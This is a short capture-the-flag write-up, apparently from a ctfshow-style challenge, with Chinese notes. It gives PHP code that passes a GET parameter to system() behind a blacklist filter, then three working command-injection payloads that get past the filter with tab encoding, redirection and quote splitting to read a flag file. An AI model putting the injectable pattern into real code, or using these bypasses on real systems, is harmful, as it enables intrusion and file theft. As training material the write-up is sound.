<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
过滤了;,cat,flag,0-9的数字,空格,$,*,那么这道题还是要空格过滤，但是上道题提到的${IFS},$IFS$1都不可用
?c=tac%09fl''ag.p''hp||
?c=tac<fl''ag.p''hp||
?c=tac%09fl''ag.p''hp%0a